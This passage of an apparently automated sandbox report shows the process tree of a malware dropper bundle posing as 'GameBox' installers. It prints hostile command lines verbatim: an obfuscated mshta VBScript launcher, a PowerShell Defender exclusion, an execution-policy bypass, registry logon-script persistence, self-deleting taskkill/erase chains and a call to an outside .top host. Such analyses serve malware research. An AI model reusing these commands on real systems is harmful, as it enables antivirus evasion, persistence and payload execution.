      4⤵
      PID:6716
    - - C:\Users\Admin\AppData\Roaming\6016474.exe
        
        "C:\Users\Admin\AppData\Roaming\6016474.exe"
        5⤵
        
        PID:7304
    - - C:\Users\Admin\AppData\Roaming\6435184.exe
        
        "C:\Users\Admin\AppData\Roaming\6435184.exe"
        5⤵
        
        PID:7776
    - - C:\Users\Admin\AppData\Roaming\7020089.exe
        
        "C:\Users\Admin\AppData\Roaming\7020089.exe"
        5⤵
        
        PID:6240
    - - C:\Users\Admin\AppData\Roaming\2613960.exe
        
        "C:\Users\Admin\AppData\Roaming\2613960.exe"
        5⤵
        
        PID:7272
  - - C:\Users\Admin\Documents\oD6Yb4I09o1o9JL1KvVK3zmX.exe
      "C:\Users\Admin\Documents\oD6Yb4I09o1o9JL1KvVK3zmX.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2224
  - - C:\Users\Admin\Documents\zG4K7Q3ACH7yPe_5AXFUUOXe.exe
      "C:\Users\Admin\Documents\zG4K7Q3ACH7yPe_5AXFUUOXe.exe"
      4⤵
      PID:4240
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4240 -s 368
        5⤵
        Program crash
        
        PID:8424
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4240 -s 432
        5⤵
        Program crash
        
        PID:8652
  - - C:\Users\Admin\Documents\2Wz7dSrodtCZYOhETPtV1iJ2.exe
      "C:\Users\Admin\Documents\2Wz7dSrodtCZYOhETPtV1iJ2.exe"
      4⤵
      PID:6208
  - - C:\Users\Admin\Documents\NVp6qUrPBg6whdw9I5aXe3cY.exe
      "C:\Users\Admin\Documents\NVp6qUrPBg6whdw9I5aXe3cY.exe"
      4⤵
      PID:7212
    - - C:\Users\Admin\AppData\Local\Temp\is-NU68A.tmp\NVp6qUrPBg6whdw9I5aXe3cY.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-NU68A.tmp\NVp6qUrPBg6whdw9I5aXe3cY.tmp" /SL5="$10520,138429,56832,C:\Users\Admin\Documents\NVp6qUrPBg6whdw9I5aXe3cY.exe"
        5⤵
        
        PID:7456
      - C:\Users\Admin\AppData\Local\Temp\is-8GDTK.tmp\Setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-8GDTK.tmp\Setup.exe" /Verysilent
        6⤵
        
        PID:9152
        
        C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe" /qn CAMPAIGN="710"
        7⤵
        
        PID:7964
        
        C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=710 AI_SETUPEXEPATH="C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe" SETUPEXEDIR="C:\Program Files (x86)\GameBox INC\GameBox\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629579446 /qn CAMPAIGN=""710"" " CAMPAIGN="710"
        8⤵
        
        PID:3584
  - - C:\Users\Admin\Documents\MCZLOOrmB7AxoTEJjmcp4jdi.exe
      "C:\Users\Admin\Documents\MCZLOOrmB7AxoTEJjmcp4jdi.exe"
      4⤵
      PID:7288
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "MCZLOOrmB7AxoTEJjmcp4jdi.exe" /f & erase "C:\Users\Admin\Documents\MCZLOOrmB7AxoTEJjmcp4jdi.exe" & exit
        5⤵
        
        PID:4228
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "MCZLOOrmB7AxoTEJjmcp4jdi.exe" /f
        6⤵
        Kills process with taskkill
        
        PID:8488
  - - C:\Users\Admin\Documents\_IyYniOYCPPf2ODv6YTb8NjG.exe
      "C:\Users\Admin\Documents\_IyYniOYCPPf2ODv6YTb8NjG.exe"
      4⤵
      PID:5960
    - - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbSCRipt:ClOSe( creATEoBJEcT("WscRIpT.sHEll" ).RUN("Cmd /Q /C tYPe ""C:\Users\Admin\Documents\_IyYniOYCPPf2ODv6YTb8NjG.exe"" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if """" == """" for %W iN ( ""C:\Users\Admin\Documents\_IyYniOYCPPf2ODv6YTb8NjG.exe"" ) do taskkill -IM ""%~nXW"" -f " ,0 ,TRUE ) )
        5⤵
        
        PID:8008
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /Q /C tYPe "C:\Users\Admin\Documents\_IyYniOYCPPf2ODv6YTb8NjG.exe" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if ""=="" for %W iN ( "C:\Users\Admin\Documents\_IyYniOYCPPf2ODv6YTb8NjG.exe") do taskkill -IM "%~nXW" -f
        6⤵
        
        PID:6972
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -IM "_IyYniOYCPPf2ODv6YTb8NjG.exe" -f
        7⤵
        Kills process with taskkill
        
        PID:6896
  - - C:\Users\Admin\Documents\4FxUqOX75SyWULeIBcM0435J.exe
      "C:\Users\Admin\Documents\4FxUqOX75SyWULeIBcM0435J.exe"
      4⤵
      PID:4520
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4520 -s 672
        5⤵
        Program crash
        
        PID:6880
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4520 -s 684
        5⤵
        Program crash
        
        PID:7564
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4520 -s 688
        5⤵
        Program crash
        
        PID:7140
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4520 -s 728
        5⤵
        Program crash
        
        PID:6728
  - - C:\Users\Admin\Documents\Bw4rRyfaCc4sLsvjjW5OM08_.exe
      "C:\Users\Admin\Documents\Bw4rRyfaCc4sLsvjjW5OM08_.exe"
      4⤵
      PID:7568
  - - C:\Users\Admin\Documents\sweUf9hvtys1Ja5nHvjAQAdr.exe
      "C:\Users\Admin\Documents\sweUf9hvtys1Ja5nHvjAQAdr.exe"
      4⤵
      PID:5192
  - - C:\Users\Admin\Documents\FUIsyVwJHTYhdd_8D5em_cXN.exe
      "C:\Users\Admin\Documents\FUIsyVwJHTYhdd_8D5em_cXN.exe"
      4⤵
      PID:6920
    - - C:\Users\Admin\Documents\FUIsyVwJHTYhdd_8D5em_cXN.exe
        
        C:\Users\Admin\Documents\FUIsyVwJHTYhdd_8D5em_cXN.exe
        5⤵
        
        PID:7788
  - - C:\Users\Admin\Documents\V9UsW5WwEox0IQERM4OjsWuq.exe
      "C:\Users\Admin\Documents\V9UsW5WwEox0IQERM4OjsWuq.exe"
      4⤵
      PID:7652
    - - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Users\Admin\DOCUME~1\V9USW5~1.DLL,s C:\Users\Admin\DOCUME~1\V9USW5~1.EXE
        5⤵
        Blocklisted process makes network request
        
        PID:1516
      - C:\Windows\SysWOW64\RUNDLL32.EXE
        
        C:\Windows\system32\RUNDLL32.EXE C:\Users\Admin\DOCUME~1\V9USW5~1.DLL,WTofNQ==
        6⤵
        
        PID:4280
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath C:\Users\Admin\DOCUME~1\V9USW5~1.DLL
        7⤵
        
        PID:1364
        
        C:\Windows\SysWOW64\RUNDLL32.EXE
        
        C:\Windows\system32\RUNDLL32.EXE C:\Users\Admin\DOCUME~1\V9USW5~1.DLL,hVct
        7⤵
        
        PID:10580
        
        C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\shell32.dll,#61 31804
        8⤵
        
        PID:5984
        
        C:\Windows\system32\ctfmon.exe
        
        ctfmon.exe
        9⤵
        
        PID:6544
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Executionpolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\tmp4143.tmp.ps1"
        7⤵
        
        PID:2316
  - - C:\Users\Admin\Documents\q14KZXV8PsnItZqp3HcZFi3R.exe
      "C:\Users\Admin\Documents\q14KZXV8PsnItZqp3HcZFi3R.exe"
      4⤵
      PID:5152
  - - C:\Users\Admin\Documents\fnwbtANan0AK6i7kPwbrJ72w.exe
      "C:\Users\Admin\Documents\fnwbtANan0AK6i7kPwbrJ72w.exe"
      4⤵
      PID:6820
    - - C:\Users\Admin\Documents\fnwbtANan0AK6i7kPwbrJ72w.exe
        
        "C:\Users\Admin\Documents\fnwbtANan0AK6i7kPwbrJ72w.exe"
        5⤵
        
        PID:4228
    - - C:\Users\Admin\Documents\fnwbtANan0AK6i7kPwbrJ72w.exe
        
        "C:\Users\Admin\Documents\fnwbtANan0AK6i7kPwbrJ72w.exe"
        5⤵
        
        PID:5428
  - - C:\Users\Admin\Documents\ghomKPgMcR3nNdY9EnqxkQLI.exe
      "C:\Users\Admin\Documents\ghomKPgMcR3nNdY9EnqxkQLI.exe"
      4⤵
      PID:7948
- - C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe
    "C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"
    3⤵
    PID:5844
  - - C:\Users\Admin\AppData\Local\Temp\is-MR298.tmp\MediaBurner2.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-MR298.tmp\MediaBurner2.tmp" /SL5="$10406,506127,422400,C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:5140
    - - C:\Users\Admin\AppData\Local\Temp\is-G11VS.tmp\ultradumnibour.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-G11VS.tmp\ultradumnibour.exe" /S /UID=burnerch2
        5⤵
        
        PID:2480
      - C:\Program Files\7-Zip\WKLENCKACS\ultramediaburner.exe
        
        "C:\Program Files\7-Zip\WKLENCKACS\ultramediaburner.exe" /VERYSILENT
        6⤵
        
        PID:7920
        
        C:\Users\Admin\AppData\Local\Temp\is-OMB89.tmp\ultramediaburner.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-OMB89.tmp\ultramediaburner.tmp" /SL5="$5010E,281924,62464,C:\Program Files\7-Zip\WKLENCKACS\ultramediaburner.exe" /VERYSILENT
        7⤵
        
        PID:4620
        
        C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
        
        "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
        8⤵
        
        PID:6600
      - C:\Users\Admin\AppData\Local\Temp\7e-216f7-c87-c2c89-4d451d59f94db\Dimymisaky.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7e-216f7-c87-c2c89-4d451d59f94db\Dimymisaky.exe"
        6⤵
        Executes dropped EXE
        
        PID:5452
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\1kd1x4da.3g2\GcleanerEU.exe /eufive & exit
        7⤵
        
        PID:9500
        
        C:\Users\Admin\AppData\Local\Temp\1kd1x4da.3g2\GcleanerEU.exe
        
        C:\Users\Admin\AppData\Local\Temp\1kd1x4da.3g2\GcleanerEU.exe /eufive
        8⤵
        
        PID:9384
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "GcleanerEU.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\1kd1x4da.3g2\GcleanerEU.exe" & exit
        9⤵
        
        PID:9080
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "GcleanerEU.exe" /f
        10⤵
        Kills process with taskkill
        
        PID:9636
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xsdasxir.x0i\installer.exe /qn CAMPAIGN="654" & exit
        7⤵
        
        PID:9676
        
        C:\Users\Admin\AppData\Local\Temp\xsdasxir.x0i\installer.exe
        
        C:\Users\Admin\AppData\Local\Temp\xsdasxir.x0i\installer.exe /qn CAMPAIGN="654"
        8⤵
        
        PID:4716
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vu3jno5m.cxl\anyname.exe & exit
        7⤵
        
        PID:9932
        
        C:\Users\Admin\AppData\Local\Temp\vu3jno5m.cxl\anyname.exe
        
        C:\Users\Admin\AppData\Local\Temp\vu3jno5m.cxl\anyname.exe
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of FindShellTrayWindow
        
        PID:5876
        
        C:\Users\Admin\AppData\Local\Temp\vu3jno5m.cxl\anyname.exe
        
        "C:\Users\Admin\AppData\Local\Temp\vu3jno5m.cxl\anyname.exe" -q
        9⤵
        
        PID:6900
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6900 -s 1240
        10⤵
        Program crash
        
        PID:3288
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\auuvvnes.4rr\gcleaner.exe /mixfive & exit
        7⤵
        
        PID:8744
        
        C:\Users\Admin\AppData\Local\Temp\auuvvnes.4rr\gcleaner.exe
        
        C:\Users\Admin\AppData\Local\Temp\auuvvnes.4rr\gcleaner.exe /mixfive
        8⤵
        
        PID:7320
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "gcleaner.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\auuvvnes.4rr\gcleaner.exe" & exit
        9⤵
        
        PID:6180
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "gcleaner.exe" /f
        10⤵
        Kills process with taskkill
        
        PID:9760
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\cel0ypio.bq3\autosubplayer.exe /S & exit
        7⤵
        
        PID:7204
      - C:\Users\Admin\AppData\Local\Temp\7c-53166-268-cf087-5409420e4bb62\Xifyvylobi.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7c-53166-268-cf087-5409420e4bb62\Xifyvylobi.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of FindShellTrayWindow
        
        PID:5800
        
        C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
        
        dw20.exe -x -s 2384
        7⤵
        
        PID:8420
- - C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe
    "C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe"
    3⤵
    - Executes dropped EXE
    PID:5684
  - - C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe
      "C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe" -q
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5228
- - C:\Program Files (x86)\GameBox INC\GameBox\PBrowFile15.exe
    "C:\Program Files (x86)\GameBox INC\GameBox\PBrowFile15.exe"
    3⤵
    - Executes dropped EXE
    PID:5588
  - - C:\Users\Admin\AppData\Roaming\8546054.exe
      "C:\Users\Admin\AppData\Roaming\8546054.exe"
      4⤵
      PID:6784
  - - C:\Users\Admin\AppData\Roaming\2220895.exe
      "C:\Users\Admin\AppData\Roaming\2220895.exe"
      4⤵
      PID:6800
  - - C:\Users\Admin\AppData\Roaming\6819008.exe
      "C:\Users\Admin\AppData\Roaming\6819008.exe"
      4⤵
      PID:6844
  - - C:\Users\Admin\AppData\Roaming\6792592.exe
      "C:\Users\Admin\AppData\Roaming\6792592.exe"
      4⤵
      PID:6884
  - - C:\Users\Admin\AppData\Roaming\3643220.exe
      "C:\Users\Admin\AppData\Roaming\3643220.exe"
      4⤵
      PID:7072
- - C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe
    "C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe" /Verysilent
    3⤵
    - Executes dropped EXE
    PID:5532
- - C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe
    "C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe" /Verysilent
    3⤵
    PID:5452
- - C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe
    "C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe" SID=717 CID=717 SILENT=1 /quiet
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Modifies system certificate store
    - Suspicious use of FindShellTrayWindow
    PID:5376
  - - C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner 1.0.0\install\FD7DF1F\Cleaner Installation.msi" SID=717 CID=717 SILENT=1 /quiet AI_SETUPEXEPATH="C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe" SETUPEXEDIR="C:\Program Files (x86)\GameBox INC\GameBox\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629579446 SID=717 CID=717 SILENT=1 /quiet " SID="717" CID="717"
      4⤵
      PID:400
- - C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe
    "C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe" /Verysilent
    3⤵
    - Executes dropped EXE
    PID:5320

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /C tYPe "C:\Users\Admin\Documents\ZamG7Wg6NefkinYRAmqWxn0f.exe" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if ""=="" for %W iN ( "C:\Users\Admin\Documents\ZamG7Wg6NefkinYRAmqWxn0f.exe") do taskkill -IM "%~nXW" -f
1⤵
PID:2460
- C:\Windows\SysWOW64\taskkill.exe
  taskkill -IM "ZamG7Wg6NefkinYRAmqWxn0f.exe" -f
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5188
- C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe
  WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9
  2⤵
  - Executes dropped EXE
  PID:428

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbSCRipt:ClOSe( creATEoBJEcT("WscRIpT.sHEll" ).RUN("Cmd /Q /C tYPe ""C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe"" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if ""-PifOcLbay~PF~N8a_e9RyKpu9 "" == """" for %W iN ( ""C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe"" ) do taskkill -IM ""%~nXW"" -f " ,0 ,TRUE ) )
1⤵
PID:5408
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /Q /C tYPe "C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if "-PifOcLbay~PF~N8a_e9RyKpu9 "=="" for %W iN ( "C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe") do taskkill -IM "%~nXW" -f
  2⤵
  PID:5312

C:\Users\Admin\AppData\Local\Temp\is-8QET0.tmp\Inlog.tmp
"C:\Users\Admin\AppData\Local\Temp\is-8QET0.tmp\Inlog.tmp" /SL5="$1037C,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe" /Verysilent
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
PID:5616
- C:\Users\Admin\AppData\Local\Temp\is-693CQ.tmp\Setup.exe
  "C:\Users\Admin\AppData\Local\Temp\is-693CQ.tmp\Setup.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs74449 -token mtn1co3fo4gs5vwq -subid 721
  2⤵
  PID:7644
- - C:\Users\Admin\AppData\Local\Temp\is-257LV.tmp\Setup.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-257LV.tmp\Setup.tmp" /SL5="$20414,17356095,721408,C:\Users\Admin\AppData\Local\Temp\is-693CQ.tmp\Setup.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs74449 -token mtn1co3fo4gs5vwq -subid 721
    3⤵
    PID:4740
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /c expand C:\Users\Admin\AppData\Local\Temp\is-3RVAT.tmp\{app}\microsoft.cab -F:* %ProgramData%
      4⤵
      PID:2704
    - - C:\Windows\SysWOW64\expand.exe
        
        expand C:\Users\Admin\AppData\Local\Temp\is-3RVAT.tmp\{app}\microsoft.cab -F:* C:\ProgramData
        5⤵
        
        PID:2700
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /c reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "%ProgramData%\regid.1993-06.com.microsoft\svrwebui.exe" /f
      4⤵
      PID:8392
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe" /f
        5⤵
        
        PID:8300
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /c start http://afleof21klg.top/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=74449^&param=721
      4⤵
      PID:9360
  - - C:\Users\Admin\AppData\Local\Temp\is-3RVAT.tmp\{app}\vdi_compiler.exe
      "C:\Users\Admin\AppData\Local\Temp\is-3RVAT.tmp\{app}\vdi_compiler"
      4⤵
      PID:7116
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c ping localhost -n 4 && del "C:\Users\Admin\AppData\Local\Temp\is-3RVAT.tmp\{app}\vdi_compiler.exe"
        5⤵
        
        PID:10732
      - C:\Windows\SysWOW64\PING.EXE
        
        ping localhost -n 4
        6⤵
        Runs ping.exe
        
        PID:8576
  - - C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe
      "C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe"
      4⤵
      PID:8720

C:\Users\Admin\AppData\Local\Temp\is-Q1N1K.tmp\VPN.tmp
"C:\Users\Admin\AppData\Local\Temp\is-Q1N1K.tmp\VPN.tmp" /SL5="$103BE,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe" /Verysilent
1⤵
PID:5876
- C:\Users\Admin\AppData\Local\Temp\is-7URLL.tmp\Setup.exe
  "C:\Users\Admin\AppData\Local\Temp\is-7URLL.tmp\Setup.exe" /silent /subid=720
  2⤵
  PID:4836
- - C:\Users\Admin\AppData\Local\Temp\is-G1R05.tmp\Setup.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-G1R05.tmp\Setup.tmp" /SL5="$205F2,15170975,270336,C:\Users\Admin\AppData\Local\Temp\is-7URLL.tmp\Setup.exe" /silent /subid=720
    3⤵
    PID:7028
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "
      4⤵
      PID:8548
    - - C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
        
        tapinstall.exe remove tap0901
        5⤵
        
        PID:8052
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "
      4⤵
      PID:7636
    - - C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
        
        tapinstall.exe install OemVista.inf tap0901
        5⤵
        
        PID:7856
  - - C:\Program Files (x86)\MaskVPN\mask_svc.exe
      "C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall
      4⤵
      PID:6956
  - - C:\Program Files (x86)\MaskVPN\mask_svc.exe
      "C:\Program Files (x86)\MaskVPN\mask_svc.exe" install
      4⤵
      PID:9224

C:\Users\Admin\AppData\Local\Temp\is-VUL30.tmp\WEATHER Manager.tmp
"C:\Users\Admin\AppData\Local\Temp\is-VUL30.tmp\WEATHER Manager.tmp" /SL5="$103A8,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe" /Verysilent
1⤵
PID:5800
- C:\Users\Admin\AppData\Local\Temp\is-JK2OF.tmp\Setup.exe
  "C:\Users\Admin\AppData\Local\Temp\is-JK2OF.tmp\Setup.exe" /quiet SILENT=1 AF=715 BF=715
  2⤵
  PID:7160
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Weather\Weather 1.0.0\install\FD7DF1F\Weather Installation.msi" /quiet SILENT=1 AF=715 BF=715 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\is-JK2OF.tmp\Setup.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\is-JK2OF.tmp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629579446 /quiet SILENT=1 AF=715 BF=715 " AF="715" AI_CONTROL_VISUAL_STYLE="16578540;16578540;14988840;12422912" BF="715"
    3⤵
    PID:9640

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:1012
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:2728

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
1⤵
PID:2832

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" ~IWm4Wh.I,nKhkoYTFE
1⤵
PID:6364

C:\ProgramData\hvlmbu\jmwvd.exe
C:\ProgramData\hvlmbu\jmwvd.exe start
1⤵
PID:4968

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:4216
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 348AD2F64E5D431C5E8EFD79A10A2655 C
  2⤵
  PID:5852
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding C91D20E2341581AE9BBA81BE801931F5
  2⤵
  PID:8460
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding D5BEBF2FC410CEABC84885B748B40511 C
  2⤵
  PID:8800
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 6258716BD7E7938DF3A39CD2531E2E1B C
  2⤵
  PID:8344
- C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\aipackagechainer.exe
  "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\aipackagechainer.exe"
  2⤵
  PID:2932
- - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\RequiredApplication_1\Cleaner_Installation.exe
    "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\RequiredApplication_1\Cleaner_Installation.exe" -silent=1 -CID=717 -SID=717 -submn=default
    3⤵
    PID:4928
  - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
      "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" "--anbfs"
      4⤵
      PID:10852
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Cleaner\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Cleaner\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Cleaner\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Cleaner\User Data" --annotation=plat=Win64 --annotation=prod=Cleaner --annotation=ver=0.0.13 --initial-client-data=0x1dc,0x1e0,0x1e4,0x1b8,0x1e8,0x7ff9d5c4dec0,0x7ff9d5c4ded0,0x7ff9d5c4dee0
        5⤵
        
        PID:8472
      - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
